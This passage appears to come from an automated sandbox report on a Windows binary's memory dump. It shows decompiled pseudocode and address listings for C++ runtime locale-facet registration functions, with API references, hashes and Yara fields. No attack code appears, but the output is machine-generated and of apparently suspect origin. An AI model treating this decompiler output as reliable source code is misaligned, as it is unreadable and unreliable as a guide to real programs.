																																																																								__eflags = E0048E7D5(_t896, _t921, __eflags) - 0xffffffff;
																																																																								if(__eflags == 0) {
																																																																									E0042B042(__eflags);
																																																																									asm("int3");
																																																																									_push(8);
																																																																									E0049D90B(0x4d6966, _t896, _t921);
																																																																									E00488DEA( &_v20, 0);
																																																																									_t922 =  *0x4eddf8; // 0x0
																																																																									_v4 = _v4 & 0x00000000;
																																																																									_v16 = _t922;
																																																																									_t897 = E0042B315(_a8, E0042B22E(0x4edd78, _t896, _t922, __eflags));
																																																																									__eflags = _t897;
																																																																									if(_t897 != 0) {
																																																																										L166:
																																																																										E00488E42( &_v20);
																																																																										return E0049D8D4(_t897);
																																																																									} else {
																																																																										__eflags = _t922;
																																																																										if(__eflags == 0) {
																																																																											_push(_a8);
																																																																											_push( &_v16);
																																																																											_t555 = E0048E849(_t897, _t922, __eflags);
																																																																											_pop(_t799);
																																																																											__eflags = _t555 - 0xffffffff;
																																																																											if(__eflags == 0) {
																																																																												E0042B042(__eflags);
																																																																												asm("int3");
																																																																												_push(_t922);
																																																																												_t923 = _t799;
																																																																												_t290 = _t923 + 0x10;
																																																																												 *_t290 =  *(_t923 + 0x10) & 0x00000000;
																																																																												__eflags =  *_t290;
																																																																												 *((intOrPtr*)(_t923 + 0x14)) = 7;
																																																																												 *_t923 = 0;
																																																																												E00494BE0(_a4);
																																																																												return _t923;
																																																																											} else {
																																																																												_t897 = _v16;
																																																																												_v16 = _t897;
																																																																												_v4 = 1;
																																																																												E0048919D(_t897);
																																																																												 *0x4f02b4();
																																																																												 *((intOrPtr*)( *((intOrPtr*)( *_t897 + 4))))();
																																																																												 *0x4eddf8 = _t897;
																																																																												goto L166;
																																																																											}
																																																																										} else {
																																																																											_t897 = _t922;
																																																																											goto L166;
																																																																										}
																																																																									}
																																																																								} else {
																																																																									_t896 = _v16;
																																																																									_v16 = _t896;
																																																																									_v4 = 1;
																																																																									E0048919D(_t896);
																																																																									 *0x4f02b4();
																																																																									 *((intOrPtr*)( *((intOrPtr*)( *_t896 + 4))))();
																																																																									 *0x4ede28 = _t896;
																																																																									goto L159;
																																																																								}
																																																																							} else {
																																																																								_t896 = _t921;
																																																																								goto L159;
																																																																							}
																																																																						}
																																																																					} else {
																																																																						_t895 = _v16;
																																																																						_v16 = _t895;
																																																																						_v4 = 1;
																																																																						E0048919D(_t895);
																																																																						 *0x4f02b4();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t895 + 4))))();
																																																																						 *0x4eddf4 = _t895;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t895 = _t920;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t894 = _v16;
																																																																			_v16 = _t894;
																																																																			_v4 = 1;
																																																																			E0048919D(_t894);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t894 + 4))))();
																																																																			 *0x4ede24 = _t894;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t894 = _t919;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t893 = _v16;
																																																																_v16 = _t893;
																																																																_v4 = 1;
																																																																E0048919D(_t893);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t893 + 4))))();
																																																																 *0x4eddd8 = _t893;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t893 = _t918;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t892 = _v16;
																																																													_v16 = _t892;
																																																													_v4 = 1;
																																																													E0048919D(_t892);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t892 + 4))))();
																																																													 *0x4ede08 = _t892;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t892 = _t917;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t891 = _v16;
																																																										_v16 = _t891;
																																																										_v4 = 1;
																																																										E0048919D(_t891);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t891 + 4))))();
																																																										 *0x4eddd4 = _t891;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t891 = _t916;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t890 = _v16;
																																																							_v16 = _t890;
																																																							_v4 = 1;
																																																							E0048919D(_t890);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t890 + 4))))();
																																																							 *0x4ede04 = _t890;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t890 = _t915;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t889 = _v16;
																																																				_v16 = _t889;
																																																				_v4 = 1;
																																																				E0048919D(_t889);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t889 + 4))))();
																																																				 *0x4eddd0 = _t889;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t889 = _t914;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t888 = _v16;
																																																	_v16 = _t888;
																																																	_v4 = 1;
																																																	E0048919D(_t888);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t888 + 4))))();
																																																	 *0x4ede00 = _t888;
																																																	goto L103;
																																																}
																																															} else {
																																																_t888 = _t913;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t887 = _v16;
																																														_v16 = _t887;
																																														_v4 = 1;
																																														E0048919D(_t887);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t887 + 4))))();
																																														 *0x4eddec = _t887;
																																														goto L96;
																																													}
																																												} else {
																																													_t887 = _t912;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t886 = _v16;
																																											_v16 = _t886;
																																											_v4 = 1;
																																											E0048919D(_t886);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t886 + 4))))();
																																											 *0x4eddf0 = _t886;
																																											goto L89;
																																										}
																																									} else {
																																										_t886 = _t911;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t885 = _v16;
																																								_v16 = _t885;
																																								_v4 = 1;
																																								E0048919D(_t885);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t885 + 4))))();
																																								 *0x4ede1c = _t885;
																																								goto L82;
																																							}
																																						} else {
																																							_t885 = _t910;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t884 = _v16;
																																					_v16 = _t884;
																																					_v4 = 1;
																																					E0048919D(_t884);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t884 + 4))))();
																																					 *0x4ede20 = _t884;
																																					goto L75;
																																				}
																																			} else {
																																				_t884 = _t909;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t883 = _v16;
																																		_v16 = _t883;
																																		_v4 = 1;
																																		E0048919D(_t883);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t883 + 4))))();
																																		 *0x4edde8 = _t883;
																																		goto L68;
																																	}
																																} else {
																																	_t883 = _t908;
																																	goto L68;
																																}
																															}
																														} else {
																															_t882 = _v16;
																															_v16 = _t882;
																															_v4 = 1;
																															E0048919D(_t882);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t882 + 4))))();
																															 *0x4ede18 = _t882;
																															goto L61;
																														}
																													} else {
																														_t882 = _t907;
																														goto L61;
																													}
																												}
																											} else {
																												_t881 = _v16;
																												_v16 = _t881;
																												_v4 = 1;
																												E0048919D(_t881);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t881 + 4))))();
																												 *0x4edde4 = _t881;
																												goto L54;
																											}
																										} else {
																											_t881 = _t906;
																											goto L54;
																										}
																									}
																								} else {
																									_t880 = _v16;
																									_v16 = _t880;
																									_v4 = 1;
																									E0048919D(_t880);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t880 + 4))))();
																									 *0x4ede14 = _t880;
																									goto L47;
																								}
																							} else {
																								_t880 = _t905;
																								goto L47;
																							}
																						}
																					} else {
																						_t879 = _v16;
																						_v16 = _t879;
																						_v4 = 1;
																						E0048919D(_t879);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t879 + 4))))();
																						 *0x4edde0 = _t879;
																						goto L40;
																					}
																				} else {
																					_t879 = _t904;
																					goto L40;
																				}
																			}
																		} else {
																			_t878 = _v16;
																			_v16 = _t878;
																			_v4 = 1;
																			E0048919D(_t878);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t878 + 4))))();
																			 *0x4ede10 = _t878;
																			goto L33;
																		}
																	} else {
																		_t878 = _t903;
																		goto L33;
																	}
																}
															} else {
																_t877 = _v16;
																_v16 = _t877;
																_v4 = 1;
																E0048919D(_t877);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t877 + 4))))();
																 *0x4eddfc = _t877;
																goto L26;
															}
														} else {
															_t877 = _t902;
															goto L26;
														}
													}
												} else {
													_t876 = _v16;
													_v16 = _t876;
													_v4 = 1;
													E0048919D(_t876);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t876 + 4))))();
													 *0x4edddc = _t876;
													goto L19;
												}
											} else {
												_t876 = _t901;
												goto L19;
											}
										}
									} else {
										_t875 = _v16;
										_v16 = _t875;
										_v4 = 1;
										E0048919D(_t875);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t875 + 4))))();
										 *0x4ede0c = _t875;
										goto L12;
									}
								} else {
									_t875 = _t900;
									goto L12;
								}
							}
						} else {
							_t874 = _v16;
							_v16 = _t874;
							_v4 = 1;
							E0048919D(_t874);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t874 + 4))))();
							 *0x4ede2c = _t874;
							goto L5;
						}
					} else {
						_t874 = _t899;
						goto L5;
					}
				}
			}

0x0048c268
0x0048c268
0x0048c26f
0x0048c279
0x0048c27e
0x0048c289
0x0048c28d
0x0048c299
0x0048c29e
0x0048c2a2
0x0048c2e7
0x0048c2ea
0x0048c2f6
0x0048c2a4
0x0048c2a6
0x0048c2ac
0x0048c2b2
0x0048c2ba
0x0048c2bd
0x0048c2f7
0x0048c2fc
0x0048c2fd
0x0048c304
0x0048c30e
0x0048c313
0x0048c31e
0x0048c322
0x0048c333
0x0048c335
0x0048c337
0x0048c37c
0x0048c37f
0x0048c38b
0x0048c339
0x0048c339
0x0048c33b
0x0048c341
0x0048c347
0x0048c34f
0x0048c352
0x0048c38c
0x0048c391
0x0048c392
0x0048c399
0x0048c3a3
0x0048c3a8
0x0048c3b3
0x0048c3b7
0x0048c3c8
0x0048c3ca
0x0048c3cc
0x0048c411
0x0048c414
0x0048c420
0x0048c3ce
0x0048c3ce
0x0048c3d0
0x0048c3d6
0x0048c3dc
0x0048c3e4
0x0048c3e7
0x0048c421
0x0048c426
0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c45d
0x0048c45f
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0
0x0048c354
0x0048c354
0x0048c357
0x0048c35b
0x0048c35f
0x0048c36c
0x0048c374
0x0048c376
0x00000000
0x0048c376
0x0048c33d
0x0048c33d
0x00000000
0x0048c33d
0x0048c33b
0x0048c2bf
0x0048c2bf
0x0048c2c2
0x0048c2c6
0x0048c2ca
0x0048c2d7
0x0048c2df
0x0048c2e1
0x00000000
0x0048c2e1
0x0048c2a8
0x0048c2a8
0x00000000
0x0048c2a8
0x0048c2a6

APIs

__EH_prolog3.LIBCMT ref: 0048C26F
std::_Lockit::_Lockit.LIBCPMT ref: 0048C279

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

codecvt.LIBCPMT ref: 0048C2B3
std::_Facet_Register.LIBCPMT ref: 0048C2CA
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C2EA
Concurrency::cancel_current_task.LIBCPMT ref: 0048C2F7

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercodecvt
String ID:
API String ID: 878568432-0
Opcode ID: f9b42739db0fe4ad26672f8d983802dcc547d66bd66853f7c03e4a294528a55f
Instruction ID: a07ac3cf4498590bcecd5019c5e677d058efcd5d06127725674c0da307080c16
Opcode Fuzzy Hash: f9b42739db0fe4ad26672f8d983802dcc547d66bd66853f7c03e4a294528a55f
Instruction Fuzzy Hash: 74018B75D001158BCB05BBA5D85A6BE77A1AF84714F15485EE810AB3C2CF789A018B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0048C2FD, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C304
std::_Lockit::_Lockit.LIBCPMT ref: 0048C30E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0048C348
std::_Facet_Register.LIBCPMT ref: 0048C35F
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C37F
Concurrency::cancel_current_task.LIBCPMT ref: 0048C38C

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: 861243e1b40f4f5d8644a9a4d2485914ea0786fc84b9d1768308d0f4417d1a5b
Instruction ID: 5a85bc5e0a4dc8438c54092ff9485234fb8d1cfe33051ea2e634e47832a3e707
Opcode Fuzzy Hash: 861243e1b40f4f5d8644a9a4d2485914ea0786fc84b9d1768308d0f4417d1a5b
Instruction Fuzzy Hash: B001C431D005158BCB05FB65D8556BE7761AF54314F14481FE8106B382CF7C9D01CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C392, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C399
std::_Lockit::_Lockit.LIBCPMT ref: 0048C3A3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0048C3DD
std::_Facet_Register.LIBCPMT ref: 0048C3F4
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C414
Concurrency::cancel_current_task.LIBCPMT ref: 0048C421

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: 78c74b463a8d9d377448b36629b9684b765f7e652d2abdbdec0817c85c5587c9
Instruction ID: 00870072261c423a6edadfb462aac9a5278ee703ea957f486b9ff1465d2d4d7e
Opcode Fuzzy Hash: 78c74b463a8d9d377448b36629b9684b765f7e652d2abdbdec0817c85c5587c9
Instruction Fuzzy Hash: 8A01C035D001298BCB05FBA5D8A5ABE7771AF84714F14485FE812AB382CF7C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C427, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C42E
std::_Lockit::_Lockit.LIBCPMT ref: 0048C438

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

ctype.LIBCPMT ref: 0048C472
std::_Facet_Register.LIBCPMT ref: 0048C489
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C4A9
Concurrency::cancel_current_task.LIBCPMT ref: 0048C4B6

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registerctype
String ID:
API String ID: 297941480-0
Opcode ID: ee12be97501bd81eb225b8756869f46fc4d4bae759bb105ad5806daf5b86a69d
Instruction ID: 34c17f56222969e17ad71da87fb98addf7986ad3bd1835fb09125396931491aa
Opcode Fuzzy Hash: ee12be97501bd81eb225b8756869f46fc4d4bae759bb105ad5806daf5b86a69d
